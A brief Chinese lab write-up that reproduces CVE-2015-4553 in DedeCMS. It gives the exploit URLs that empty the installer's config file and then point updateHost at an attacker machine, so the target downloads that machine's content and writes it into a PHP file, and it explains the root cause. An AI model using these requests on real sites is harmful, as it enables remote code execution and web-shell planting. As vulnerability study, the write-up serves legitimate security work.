CVE-2015-4553 Dedecms远程写文件
CVE-2015-4553 Dedecms远程写文件
首页
访问
http://192.168.1.3/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/admin/config_update.php这句话会跳转到http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt中读取内容写入到c:/phpstudy/WWW/config_update.php。访问发现获取失败。
在目标机上192.168.1.3,查看c:/phpstudy/WWW/data/admin/config_update.php,已经由原来的内容变为空的内容。
在192.168.1.2打开phpStudy在C:/phpStudy/WWW下建立dedecms/demodata.a.txt,写入<?php phpinfo();?>
访问:http://192.168.1.3/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/tchg.php&updateHost=http://192.168.1.2/,可以看到出现了存在,说明phpinfo已经写进去了
访问:http://192.168.1.3/data/tchg.php,可以看到phpinfo页面说明真的写进去了。
漏洞产生的原因发生在安装页面C:/phpStudy/WWW/install/index.php,如果接收到的参数step=11,然后包含C:/phpStudy/WWW/data/admin/config_update.php。查看config_update.php里面定义了updateHost变量。前面已经把这个文件里的内容给清空了。这里利用了php5.2的特性,全局变量get可以赋值,这样就控制了上传的内容,达到了写shell的目的。